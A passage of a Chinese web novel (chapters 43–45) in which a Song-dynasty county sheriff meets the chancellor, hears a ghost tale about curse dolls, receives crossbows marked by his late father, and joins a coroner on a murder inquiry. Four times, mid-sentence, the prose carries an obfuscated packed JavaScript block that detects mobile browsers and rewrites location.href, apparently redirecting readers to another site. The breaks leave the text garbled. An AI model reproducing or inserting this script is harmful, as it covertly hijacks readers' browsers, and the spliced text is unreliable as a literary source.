从前师从卫诚之时,他也远远瞧见过当时的丞相,只知道是个干瘦的老头儿,笑起来让人害怕,这个李丞相听柳晏的描述,似乎年岁不大,不知是不是如前任丞相一般骇人。 跟着丞相府的侍从前往谒舍,侍从说:“丞相此时还在见客,请宋县尉在谒舍稍候片刻,随后会有人来请您过去。” “多谢。”宋准向侍从道谢,十分拘谨地坐在了桌旁的椅子上,小心翼翼地打量着谒舍里的布局,心砰砰直跳,口干舌燥的,却也不敢去倒水喝。 就这么坐等了近半个时辰,终于才有人来叫他,立刻起身正了正衣冠,理好了袖子,跟随侍从前去会客室。 进门时逆着光,李丞相坐在正中的案前,宋准看不清他的模样,身体比脑子先一步行动,跪下行了大礼:“下官临安县县尉宋准,见过丞相大人。” “免礼。”李丞相说,“不必过于拘礼,今日本相叫你来此是听闻你破案有功,是以嘉奖之意,若这么战战兢兢的,传出去以为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611376|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我李某人是不好相与之人呢,啊。” 李丞相的话中带着笑意,宋准这才敢起身抬头看他一眼,只一眼,便觉得此人有些面熟,却想不起来在哪里见过,想要仔细再瞧瞧,却又不太敢。 李丞相向侧面一伸手道:“宋县尉请坐,莫要拘束。瞧着宋县尉似乎年岁不大?” “是,下官时年二十三,是今年才上任的。” “哦?真是年少有为啊,祖籍是哪儿的?在临安可还住的惯?” “回丞相的话,下官祖籍在扬州广陵,临安县令对臣照顾有加,同僚也都是好相与的,自然也住的惯。” 李丞相闻言笑了,宋准看着他的眼睛,总觉得熟悉,好像从前在老师身边时见过似的,难道是老师的同僚? 正当宋准紧张得有些神游之时,李丞相又说:“此次你侦破孩童拐卖一案功劳不小,主张创办的慈幼局也是惠民利民的仁政,圣上听闻龙心甚悦,本欲给你升官加爵,但鉴于你资历尚浅,恐难服众,便先以金帛田宅嘉奖,往后的俸禄也会再提一提。” 宋准闻言立刻起身行礼:“微臣多谢圣恩,也多谢丞相替下官思虑周全,下官万分感激。” “好了,我也没什么别的事儿了,路途遥远,今日你便先回去吧,往后你我还有的是见面的机会。”李丞相唤来了侍从送他离开,宋准再次跪下行了大礼,跟随侍从离开了丞相府。 直到回到了他如今的宅子里,心里才有了实感,李丞相看起来并不太像是会有八百个心眼子的人,反而有些亲切。 如今他的功绩已被丞相赏识,离为老师平反又更近了一步,想到这里,宋准又对着卫诚的排位磕了三个响头,将三炷香插在了香炉内。 朝廷赐的这宅子并不大,毕竟他只是九品官员,不能逾制。 不过这宅子虽小,却也是五脏俱全,院子里还有一小块地,可以用来种些什么,令狐朝十分不客气地种上了苍术和艾草,说他验尸用得上,宋准便也随他去。 柳晏近些日子迷上了去茶馆听书,原本是看热闹般去听说书先生讲宋准的事迹的,宋准的事迹讲完了,又开始讲天南海北的奇闻逸事,他便被迷住了,不但自己天天泡在茶馆里,还要拉上令狐朝和宋准一同去听。 “你们不知道,那日说的那个灵猫的故事,还有昨日说的皇城司里的事儿,可都太有趣儿了,不听简直是暴殄天物,诶呀,说书这玩意儿到底是谁发明的呢。” 令狐朝和宋准已经坐在了茶馆里,柳晏还在喋喋不休地叨叨叨,宋准问他:“之前我说要请你去醉欢楼吃饭,你也不去了?” “哎,吃饭什么时候不能吃,错过了哪日的书,往后再想听可就不知道是什么时候了。”他拿起一块糕点嚼嚼嚼,说书人一拍枕木,他便立刻噤了声,全神贯注地听起来。 43.压胜术 “话说那荆湖有一财主,家中夫妻二人,育有两子,可惜天不假年,妻子外出时不慎溺水身亡,丢下才刚十几岁的孩子是撒手人寰啊。 人死不能复生,丧事总该照办。按荆湖当地的规矩,人死候需停灵五日,第六日才当下葬,到了下葬那日还要请道士做祈水仪式,是为送逝者渡冥河,可这仪式好好地却出了毛病。 那小儿子瞥见仪式队伍后面多了个人,一眨眼那人又不见了,他心下疑惑,却也不敢将此事告诉家人,只当是自个儿眼花,好在仪式也算做完了,可到了要起灵下葬时,抬棺人却怎么也抬不起那棺材。 诸位,咱大家伙儿都知道,那一口棺材再沉能有多沉啊?不至于四五个壮劳力抬不动啊,想来这也多半是有邪灵作祟,那道长也是立刻做法驱邪,才可算将棺材抬起。 可这送灵送到这半道上,又出了岔子。” 说到这儿,那说书先生刻意停顿了下来,端起茶碗吹吹,钓人胃口。 “哎,那绑棺材的草绳,无故崩断啊!那都是寸把粗的绳子,绑了七八道,按说没个几千斤的力都不甚会崩开。 这下可坏了,棺材翻倒在地,若不是棺材盖已经钉死,想必棺中尸体都要掉出来,这可是属大凶啊! 抬棺材的几个壮劳力都吓坏了,不敢再接近那棺材,道长又再做法驱邪避煞,将几张黄符贴在棺材上,又以手中拂尘接上断开的草绳。 财主也是苦口婆心地劝那些个壮劳力,承诺愿意多给钱,这才好歹将这棺材给抬到了坟里下了葬。 棺木入土,这亲属得烧纸啊,按规矩烧完纸往回走,路上是千万不能回头,这是为什么?哎,就是怕这逝者不舍得家人,再跟上生人回家,这无论是对生者还是逝者都不好啊。 结果回去的路上,这走在队伍最后面的小儿子突然唤了声娘,哟,这一声可把众人魂儿都快吓掉了,这下意识地一回头,就只见这小儿子目光呆滞站在原地,他前面的哥哥立刻牵着他的手就往前跑。 道士回头就看见那坟前,方才分明还烧得很旺的纸钱,已经快要灭了。 诸位,这时什么意思啊?这可是大凶之兆,是那逝者不愿意走啊!” 听到这里,柳晏伸手拉住了令狐朝的袖子往他身边靠了靠,嘀咕了一句:“天尊,怎么这么吓人。” “你又不需要给人烧纸你怕什么,没事儿啊,都是假的。”令狐朝安慰他道。 说书先生接着讲:“道长见状立刻高喊一声快跑,众人都跟疯了似的赶紧往家跑啊,也顾不上方才是不是回了头,是不是瞧见了什么东西。 回了家这大儿子就问弟弟,你方才瞎叫什么娘呢,你是瞧见什么了?小儿子委屈啊,说他走在后面提着灯,头都不敢抬就跟着哥哥往前走,走着走着就看见地上有个影子,再一看那影子脚尖是对着他的,那不就是那人是倒着走呢吗。 他这一番话可把众人都吓坏了,他又说,他也不敢出声,就看着这灯笼光照着前面,那影子的脚步停下来了,这时候他抬头一看,发现面前这人头发很长,披散着,他也看不清脸,却下意识地唤了声娘。 可他说到这儿的时候,当时送灵队伍里的几个人也都说,仿佛是瞧见了一个头发很长的女人跟在队伍里,长什么模样却也没看清楚。 见也没出什么事儿,这丧事也就算办完了,道士可就走了,结果第二日午后,也就是死者头七那日,那财主又来找了这道士,说大儿子和小儿子同时,失踪了!” “啊!”柳晏喊了一声,茶馆内众人都回头瞧他,笑他胆小,说书先生见状也笑了,说:“这位客官莫怕,只是故事罢了。” 令狐朝轻轻拍了拍他后背说:“没事儿啊,光天化日的,别一惊一乍,去抱惟衡去,他阳气重,驱邪避煞。” “啊?”宋准十分震惊地扭头看他俩,说,“这不好吧……” 但柳晏已经挪过去靠近了他,紧紧拽住了他的袖子,宋准只得无奈笑笑,随他去了。 “来咱们接着讲啊。这道士一听说此事便知大事不妙,财主说两个儿子晌午时便找不见人了,到处都寻过了,却还是无果,实在没有办法,才来求助道长。 道长闻言,立刻拉着自己徒弟和财主直奔他妻子溺死的湖边去,到了一看这水面十分平静,并没什么异样,道长却说快去找人下水捞人。 财主吓坏了,立刻多给钱请水性好的村民帮忙下水捞人,果不其然,两个儿子都从水底被捞起来了,只可惜这小儿子溺水严重,没有救活。 待这大儿子转醒了,问他们兄弟两个怎么跑水里去的,这大儿子迷迷糊糊说,他们看见娘了,娘过来找他们,说有急事,要他们兄弟俩跟着走,一路到了湖边,娘就走了。 结果他们就那样手拉着手往湖里走,就好像湖里有什么东西领着他们,一到了水里面,就看见他们娘被一群人押着,他们继续往前走,想去救娘,走着走着便都没知觉了。 这下可真是屋漏偏逢连夜雨,妻子才刚头七,小儿子又要办丧事,无论是亲戚还是同乡可都怕了,再不敢来他们家。 但这回的丧事办得倒是很顺利,没有再发生什么怪事儿,可这财主是真的怕了,问道长这究竟是怎么回事儿,难道是他的妻子在作怪吗?为什么要害自己的亲生孩子啊。” 说书先生顿了一下,又接着说:“这道长当即就否认了这一点,说虽然孩子母亲的丧事虽然多有不顺,但身为母亲,绝不可能会害自己的至亲骨肉,但孩子说看见母亲在水里被一群人押着,这倒是怪事儿。 于是道长就在这财主家里检查了一番,这风水格局都没有问题,不应该是风水闹的。 更仔细检查的时候,就发现他家这梁柱似乎似乎很新,财主说是前几个月才翻新的,当时跟那些做工的还吵了一架呢。 问为什么吵架,财主说那伙人偷工减料,还敢狮子大开口开高价,财主吝啬啊,便跟他们吵了起来,还险些动了手。好在后来这活是干完了,但那些人却没要钱就走了,他也没多想。 道长一听便知不好,叫人给搬梯子来,爬上房梁,发现在那房梁上端端正正放了四个草娃娃,都用铁钉钉死在房梁上,十分牢固。 道长当即就将这几个娃娃拔了下来,说这就是极其阴毒的压胜术啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616628|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四个娃娃就是你家四口人,就是要你们家四个人全都死绝,若非及时发现,财主和他的大儿子不日也都将死于非命。 这财主气坏了,当即就要去找那几个做工的算账,可都过去几个月了,上哪儿找去?只能吃下这哑巴亏。 诸位,这是多大仇多大怨啊,因为一些口角就要了一户人家两条性命,怎知自己日后不会遭天谴呢?有道是做人留一线,日后好相见,莫像那财主般因为蝇头小利与人大起争执,莫像那木工因为些口角便狠心要人性命。 今日这书到这儿就结了,且听明日讲三国志,大贤良师张角秘闻。” 枕木一响,说书先生起身向众人一作揖,便转身离开。 柳晏松开了宋准的袖子,舒了口气道:“呼,太骇人了,还好我经常走房梁,这样就能及时发现房梁上有没有被人放什么草娃娃。” “那你若给别人放草娃娃呢?”令狐朝挑眉问他。 柳晏把脑袋摇得跟拨浪鼓似的:“太瞧不起了我了吧,我要杀人才不用这么下作的手段。” 宋准闻言立刻瞪大了眼问他:“你还想杀人?” “不是不是不是,我哪敢啊,我胆小如鼠,见到血腥都要晕倒的,怎么会杀人呢。”柳晏十分委屈地眨眨眼睛,“况且我早都金盆洗手了,我现在是良民。” 宋准笑着拍了拍他的肩膀道:“哈哈哈哈逗你呢,今日书也听完了,可要去河堤上走走吗,听闻那边樱花盛开,可是赏花的好时候。” 令狐朝说:“河堤?好啊,我回去拿上我的鱼竿。” “又要我打窝吗?去吧去吧。”柳晏刚想拒绝,对上了令狐朝肯定的眼神,立刻又答应下来,起身随他们下了楼。 今日天气十分晴朗,万里无云,河堤两岸柳树垂下的枝条被微风吹拂着,有几缕长的垂在水面上,荡起层层涟漪。 令狐朝将鱼竿搭在肩上,腰间系着装鱼饵的口袋,手上拎着鱼篓,十分神气地往前走,柳晏跟在他身后半步的位置哼着小曲儿,不时摘片柳叶放在唇边吹响,再将那柳叶撕碎丢水里。 “手怎么闲不住呢。”令狐朝说他,“一会儿打窝捞鱼啊。” “知—道—啦—”柳晏拉长了音调,将手里编的柳枝环戴到了令狐朝头上,笑着说,“瞧,像隐世仙人。” 说完他立刻向前跑得老远,回头看令狐朝和宋准,喊道:“走快些!这边的花好看得很呐!” 宋准轻笑了一声:“稚言真是像个孩子。” “年轻就是好啊,每天跟你们混在一起,就觉得自个儿也年轻。”令狐朝说。 “嗯?令狐兄不是才二十四吗?怎么把自己说得像老头儿似的。” 令狐朝歪头思索了一下道:“我也不知道我究竟多大年纪,可能是二十四,说不定还是三十四呢,哈哈。” 宋准走到他面前,倒着往后走,凑近了盯着他的脸,说:“令狐兄这张脸,看着就是二十三四的模样啊,张嘴看看。” “哈?你要干什么?”令狐朝脑袋往后缩了缩,“你还会看齿序吗?这东西成年之后再看就不准了,差五六岁也是有的。” 44.神臂弓 柳晏远远地看见他们二人停在原地不动了,又跑过来凑近了问:“你们在这说什么体己话呢?让我也听听?” “在说我到底多大年纪。”令狐朝说。 “你?你二十三啊,六月二十九的生辰,你不知道吗?”柳晏歪头瞧着他,看着令狐朝疑惑的表情,又补充道,“楼里有记档的呀,噢……你可能真的不知道,那记档是只有楼主才能看的……” “那你呢?”令狐朝皱着眉问。 “我?我是二月初三的生辰,也就刚二十,你没发现我今年才开始戴冠吗?噢…前两年你也没见到我。”柳晏叹了口气,伸手摸了摸令狐朝的侧脸,“没事儿,现在你知道了。” 令狐朝皱着眉往后缩了缩,问:“所以,今年二月初三我船上那盒点心是你放的?” “当然了,这可是我的及冠礼,怎么能不给你沾沾福气,所以你吃了吗?” 令狐朝翻了个白眼儿:“来路不明的吃食,当然是扔了。” “啊?早知道就应该早些和你见一面的,那可是云香坊的糕点啊!简直是暴殄天物。”柳晏一副生无可恋的模样,转身走了。 刚走出两步,他又转回来问:“你没看见盒子里面有封信吗?” “看到了,令月吉日,始加元服什么什么介尔景福,乱七八糟不知所云。” 柳晏瞪大了眼睛,有些心虚地转了转眼珠子,嘀咕着什么“坏了坏了坏了搞了半天是拿错了……”就又跑走了。 柳晏跑远了宋准才问道:“从前鬼樊都不会让你们知道自己的年纪生辰吗?” 令狐朝点点头:“对,说好刺客不分年纪,三岁幼童有脑子一样能杀人越货。” 说完他又翻了个白眼,撇了撇嘴,似乎十分不认同这一说法,他又问:“说起来,你是何时的生辰?” “九月初九。”宋准说。 “嚯,真是好日子,我记住了。走,打窝钓鱼去,稚言都快下水了。”令狐朝快走几步下了河堤,走到一片卵石滩上,柳晏正在那打水漂,笑得很灿烂。 快日落了,令狐朝忙活半天就钓上来一条巴掌大的小鱼,还喂给了一只来讨食的猫,最后空手而归。 没办法,只得和宋准柳晏在码头边上的鱼市上买了半筐黄鱼,带到船上去烤着吃。 再过几日就到五月了,宋准清早去衙门点了卯,带着陈捕头和另两个捕快巡过市集,回衙门时看到门口停着两辆马车,瞧着似乎是官员乘坐的。 宋准心里正嘀咕着什么官不打招呼就来了,门里就出来一个衙役叫住了他。 “宋县尉!县尉回来得正是时候,上面给临安县拨了今年的剿匪装备,还请县尉前去查看。” 宋准疑惑,跟着他进去,果然看到一人正和王县令说话,宋准上去行礼道:“宋准见过上官,县令。” 王县令见宋准到了,立刻说道:“袁大人,这便是宋县尉。宋县尉,这位是军器监的袁大人,此次奉丞相之命送剿匪装备来此。” 这袁大人宋准见过,那日去会客室向丞相述职时,正是此人前脚出了会客室,宋准后脚便进去的。 宋准不敢怠慢,当即再次行礼道:“宋准见过袁大人。” 那袁大人看了看宋准,笑着对王县令说:“宋县尉近日屡破奇案,我也是听说了,可真是年少有为啊,难怪丞相如此赏识。” 王县令也笑着说:“是啊,我这一把老骨头,若不是宋县尉来了,这一摊子都不知道该如何收拾呢。” “县令过奖了,这都是我份内之事,理应做好的。” 在院子里,五口箱子一字排开,都还上着锁,看着似乎是用来装弓弩所用的。 袁大人递给宋准一串钥匙,说:“丞相交代,请宋县尉亲自打开查验。” 宋准有些疑惑地接过那钥匙,上前去打开了一把锁,打开盖子,里面赫然是一张神臂弓,以及其配套的箭羽。 其他的四口箱子打开也都是同样的,一张神臂弓与配套箭羽若干。 宋准当即行礼道:“临安县只是一个县域,怎用得上神臂弓剿匪,大材小用,微臣实在是惶恐。” “县尉莫要妄自菲薄,丞相对你赏识有加,所谓工欲善其事,必先利其器,如今既已经有了利器,今后当更加勤勉办案,担好本职才是。” 袁大人这样说,宋准也不好再推辞,便谢道:“是。微臣多谢袁大人,多谢丞相。” 和王县令一起送走了袁大人,宋准便带人将那五张神臂弓登记入库。 衙门里的兵器县尉都可自由调配使用,说是拨给临安县,其实几乎就是拨给了宋准,只要他是临安县县尉一日,这神臂弓说白了就是他的。 “这丞相还真是大方。”宋准心里一边想着,一边一一查看着那箱子的防潮有无损坏,却在一口箱子底部发现了一张仿佛是什么书的残页,拿出来看了,那上面是半张神臂弓的图纸,像是打造神臂弓的人不小心落在里面的。 宋准没多想,只当是个杂物,拿出来顺手揣进了袖子里,锁上箱子出了兵器库。 夜里去吟兰苑找柳晏和令狐朝说话,一进房门,令狐朝在榻上弹琴,柳晏披散着头发,耳边别一朵白芍药,穿着件月白的大袖衫,随着琴声跳舞,一举一动看似柔美,却又很有力量,如谪仙一般。 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623130|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋准来了,令狐朝止了琴音,柳晏的动作也停了下来,转过身笑着说:“惟衡!听说今日得了好东西啊,怎么样,可去试过?” “消息这么灵通?”宋准讶异道,又问,“你的腿上不是有伤吗,怎么还跳舞呢。” “无妨,这舞伤不到腿。想看我再从头跳给你看,晦言可都说好看呢。”柳晏给宋准倒上茶,也不等他说想不想看,就退远了些叫令狐朝弹琴。 令狐朝依他的意,便从头开始弹下去,柳晏舞完一曲,轻喘着气坐在了令狐朝身边问宋准:“如何,惟衡?” “灵动飘逸,又不失力量,很好看。”宋准端着茶杯赞道,一垂手,袖子里的那页图纸掉了出来,飘到了地上。 令狐朝问:“那是什么?” 宋准弯腰将其捡起,递给令狐朝:“今日送来的兵器箱子里的,许是装箱子的人落在里面的,我顺手放进袖子里,都快忘了这回事儿了。” 令狐朝接过那页纸看了看,一面上是神臂弓的图纸,背面写了些材质用料,在左下的角落里写着一个小小的“瑜”字,像是个落款似的。 “瑜?”令狐朝念出那个字,宋准探头问:“什么鱼?” “喏,这仿佛是个落款,一个瑜字。” 宋准愣住了,接过那张纸,皱着眉翻来覆去地查看,许久,嘀咕了一句:“这不会是……” “不会是什么?”柳晏问。 宋准没抬头,盯着角落那个落款道:“家父曾经是军器监的主簿,听母亲说他从前就是记录神臂弓改进铸造的,瑜正是他的名讳,这…这不会是我父亲留下的吧?” “啊?”令狐朝和柳晏同时震惊道,“你父亲?” 令狐朝说:“似乎很少听你提起你父亲的事。” 宋准点了点头:“因为他的事我知道的也不多。我四五岁时他就去世了,在那之前他公务很忙,我也很少见到他,很多事都是听母亲和兄长说起的。说来惭愧,我甚至都不记得他的模样了。” “哇,真是没想到如今你也用上父亲造的弓了,真是缘分使然啊。”柳晏说。 宋准笑了笑,十分郑重地将那页纸叠好了放进衣襟里,正贴着胸口,虽然他早已不记得父亲的模样,此时却好像与父亲近在咫尺。 往后多半个月,城里也都很平静,没出什么大案子,隔三差五抓几个小偷盗贼,关牢里改过自新,夜里要么去吟兰苑和令狐朝柳晏说话下棋,要么去河堤上吹风乘凉,偶尔去西湖上撑船看画舫舞女跳舞,日子也算惬意。 五月底的时候,盐官县突然送来了封加急文书,请临安县县尉与仵作前往盐官协查一桩命案,从速。 45.击鼓鸣冤 一接到文书,宋准便赶回宅子里收拾行李,随后带着行李去了运河边的船屋,把令狐朝从床上拉起来。 “令狐兄!”宋准摇着他的肩膀,“令狐兄,盐官县来了文书要我们去协查复检命案!快醒醒啊!” “啊?”令狐朝睡眼惺忪,十分艰难地睁开一只眼睛瞧他,“什么啊?” 宋准捧住了他的脸,瞪着眼说:“死—人—啦—!” “死人了?”令狐朝闻言立刻清醒了,掀开被子就要下床,“哪儿死人了?尸体别让人乱碰啊。” “不是临安的,在盐官县,请我们过去做复检的,恐怕得三五日才能回来,令狐兄快收拾一下,我已雇好了马车,在河边等着,咱们这就出发吧。” 令狐朝歪着头思索了一下,问:“没说是什么样的命案吗?我总要准备相应的物件的。” “文书中并未提及,只说是做复检,协助他们查案。” “那想来是初检有问题,我多带些东西。不过去盐官得和稚言说一声,他找不到咱们要闹的,我收拾东西,你给他写个字条让信鸽送去。” “好。”宋准答应着,在桌边坐下便就着砚台上的残墨写了张字条,说他和令狐朝去了盐官县协查命案,得三五日才得返,叫他不要担心。 令狐朝三两下收拾好了东西,卷好字条走到船头上吹了声鸽哨,一只雪白的信鸽便从远处的屋顶上飞了过来。 绑好字条,将鸽子扔出去,二人便拿着行李上了马车,赶往盐官县。 盐官如今是一独员县,就剩下主簿一人视事——从前的县令和县尉在李监官走私官盐被查后,也因渎职被撤了职,新的县令县尉还未择好人选,这命案一出来,主簿实在分身乏术,只得向周边县域求助。 宋准和令狐朝到了盐官县县衙门口,那主簿早早地就候在门口,见到宋准立刻便迎上来道:“宋县尉,您可算是来了,在下盐官县主簿赵裕,这次这案子着实棘手,您快来看看吧。” 这赵主簿年岁也大了,瞧着近五十,全县事务都压在他一人身上,想必都忙得脚不沾地,一脸的疲惫。 主簿跟他们二人说了这个案子的情况,是县里的一户沈氏盐商家中小姐沈文嫣在出嫁的花轿上自缢而亡,被发现时送亲队伍已经到了夫家门口。 大喜的日子出了这么档子事儿,夫家人便要讨说法,和娘家人起了些争执,几句话说得不对,便打伤了人,有人报了官,这才细查那来龙去脉。 这一查不要紧,倒发现这沈文嫣幼时曾与一个叫林正则的男子定过娃娃亲,而那林正则后来因犯了罪被罚到了盐场做灶工,在三个月前不慎溺亡了。 他死了不久,另一户石姓盐商上沈家提亲,为长子石益求娶沈文嫣,沈文嫣的父亲多方考量后接受了聘礼,同意了这门亲事,但谁曾想那沈文嫣竟会在出嫁的花轿上自缢。 “原本此案作男女殉情已经马上结案,昨日沈家的老仆却来击鼓鸣冤,说她家小姐并不是殉情,且那沈正则也并非无故溺亡,而是有人暗害。文书送到州府,州府要求请临安县县尉仵作前来协查,我这才发了文书请二位过来。”主簿十分无奈地说道。 宋准问道:“那沈氏的老仆如今身在何处?能否请来问话?” “唉,那老仆实在身子虚弱,昨日走来衙门口击鼓鸣冤,话都没说完整就晕倒在地,现在在沈氏后宅里将养着,要问话恐怕只能去沈氏府上问。” 主簿说着,又将一份案宗拿出来递给宋准道:“宋县尉可以先看看这个,这案子的卷宗,连同昨日老仆的几句供述都在里面,沈文嫣和林正则的尸体如今都在停尸房里,二位可先去县廨安顿一下再去查案,住处都已经命人收拾好了。” 宋准接过卷宗大致看了看,与主簿说的别无二致,便说:“好,多谢主簿费心安排。” 主簿向他行了一礼,说要去处理捕快刚报上来的盐场打架斗殴事件,就先行离开了,让一名衙役带着宋准和令狐朝往县廨去。 到县廨里,衙役说主簿安排宋准住在从前县尉的屋子,令狐朝住西北角的耳房。 宋准闻言一皱眉,刚要问为什么,就被令狐朝按住了胳膊,宋准侧头去看,令狐朝微微摇了摇头,对那衙役说:“多谢费心。” 看着衙役出去候着了,宋准这才问:“令狐兄,这不对吧。” “没什么不对的,仵作是下九流的行当,能让住县廨里已经很不错了,这是在外面,尽量还是不要生事端。”令狐朝语气淡淡的,并不把这当回事儿,拿着行李就要往西北角的耳房去。 宋准倒是替他觉得委屈,一把抓住他后衣领将他拽了回来,从他手上拿过行李就往自己房里走:“他们安排是他们安排,你就和我同住,他们若问起,我就说我怕黑,出门在外没人陪着睡不着。” 令狐朝噗嗤一声笑了,说:“你什么时候学的稚言那一套,还怕黑,没人陪睡不着,哈哈哈哈哈哈……” 嘴上虽这样说,他却也还是跟着宋准进了屋。 县廨里县尉的住处其实也并不小,床榻桌椅都一应俱全,他们也不必挤一张床上,另一边还有书案书架,连文房四宝也都是全的。 没空多耽搁,放下行李二人就跟着衙役去了衙门里的停尸房,还没接近,就闻到一股腐臭的味道,宋准不自觉皱起了眉,胃里也有些翻江倒海的。 令狐朝递给他一粒药丸,说:“苏合香丸,含在嘴里会舒服些,小心别嚼了啊,脑子会通气儿的。”说完自己也含了一粒,又将药箱放下,拿出两块麻布,倒了些酒上去,递给宋准一块,系在耳后遮盖住口鼻。 “过来。”令狐朝拿出麻油倒了些在手上,唤宋准,掀开麻布将麻油抹在了他鼻端和人中位置,“这多半是那个男尸已经腐烂了,天气热,他死了又两月有余,坚持一下,我尽量动作快些。” 宋准此时已经觉得快不行了,令狐朝给他的那些东西也就勉强能撑着他不会当场吐出来罢了,紧皱着眉头强忍着,努力减少呼吸次数,听到令狐朝的话,还是点了点头。 “没事儿,我再焚些苍术皂角什么的,就没那么难闻了。”令狐朝拍了拍他的肩膀,“我先进去了,记簿和笔你拿着,验尸格目一会儿验完了再誊抄。” 宋准点点头,蹲在原地看令狐朝背着药箱进了停尸房。 不多时,里面焚药草的烟雾弥漫开来,药草的味道冲淡了那令人作呕的尸臭,令狐朝从门里探出个脑袋来叫道:“宋县尉,可以验尸了。” 宋准进了停尸房的门,就看见里面放着的那两具尸体,一具已经腐烂得不成样子,另一具看着情况好些,还能辨认出样貌。 令狐朝戴着手套,身上套了麻布罩衫,对宋准打手语:“尽量不要张嘴说话,吸入了秽气对身体不好。” 宋准点了点头,令狐朝便开始检查那具女尸的情况,也用白梅饼敷贴过,并没有现出其他的什么伤痕,便用手语给宋准描述需要记下的内容。 “女尸确认是自缢而亡,身上没有其他伤痕。”令狐朝比划着。 宋准将其记下,令狐朝便走向那具高度腐败的男尸,那尸身上甚至已经生了不少蛆虫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629908|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 令狐朝看了一眼,便出去叫人打水来,用水冲去尸身上的那些蛆虫,皱眉打量着,腐败到这种程度,已经完全看不出生前是否是溺死了。 尸体四肢几乎都只剩下紧贴骨头的肉,这部分因为筋膜较多的缘故没有被虫啃食过,还能依稀辨出其大臂肱骨与小腿胫骨上都有数条深青色伤痕,且有干黑血迹,这是生前伤较重的位置。 宋准将令狐朝比划出的内容一一都记下,令狐朝将那两具尸体用布盖好,把一碗白醋浇在了那堆焚过的药草上,再从那上面跨过,比划着让宋准也这样做。 宋准虽有些不明所以,但还是照做了,随后跟着令狐朝出了验尸房,走到院子里,令狐朝取下脸上的麻布,深吸了一口气,说:“啊,好久没见过腐烂成这样的尸体了。” “这还能看出些什么啊?”宋准也取下麻布,十分不解地问道。 令狐朝拿过记簿,指着宋准记的那些内容:“能看出身上的伤是生前伤还是死后伤,伤痕是被何物击打造成的,如果是被虐待殴打致死,致命伤又在何处。林正则身上那些都是生前伤,但也都不致命。不过既说他是溺死,腐烂到这程度,也看不出是不是溺死了。” 宋准似懂非懂点点头,翻看着初检的验尸格目,又问道:“令狐兄,这初检格目里怎么写女尸怀有三个月身孕啊?她不是未嫁女吗?” “怀有身孕?”令狐朝十分疑惑地一皱眉,宋准从卷宗里拿出那份存档的初检格目递给他,那上面的死因之类都与令狐朝验出的别无二致,却多了一条怀有三个月身孕。 “怎么回事儿?是我检漏了?我再去看看。”令狐朝重新将白布系好,回到停尸房,在女尸下腹部仔细触探,并不像是有胎儿的样子,又检查了其阴门,明显还未经过人事,怎么可能会怀孕? 令狐朝出来,十分肯定地说:“她没怀孕。” “那这儿的仵作是怎么验的怀孕?技艺不精也不至于从无判有吧。” “可能是技艺不精吧,但也说不定是受了什么贿赂,对方想污人家姑娘清白,塞点钱,让说姑娘有孕,好直接坏沈氏全家的名声。”令狐朝说。 “怎么还有给仵作行贿的?” “怎么没有,想贿赂我的都不少。”令狐朝一脸见怪不怪的表情,说,“有受害者家属想让验伤更重的,也有凶手想验他杀为自杀的,都会来贿赂仵作,仵作本来收入就低,养家糊口都困难,人家许你重金,扯两句谎就能拿到这些钱,是你你不得琢磨琢磨?” 宋准想了想,发现确实也是,有钱能让磨推鬼,让仵作扯两句谎对有钱人来说也不是什么难事儿,于是他有些坏心眼儿地问:“那令狐兄可曾收过贿赂?那可是重金啊。” 令狐朝翻了个白眼儿,说:“当然没有,君子爱财取之有道,这种钱拿多了是要遭报应的。况且我孑然一身,又没有家要养,自己够吃就行了,收什么贿赂。” “令狐兄,我真是越来越钦佩你了。” “少说这种屁话。”令狐朝说,“他们有没有验过那个男尸?初检格目里怎么写的?” 宋准摇了摇头,翻翻卷宗:“卷宗里写男尸被发现的时候就只当是意外溺亡,草草的就下葬了,这还是昨日才从坟地里抬回来的。” “天尊……”令狐朝揉了揉眉心,结果闻到手上的尸臭气味,被熏得干呕了一声,“等会儿再说这个,找地方先洗洗手,我受不了了。” 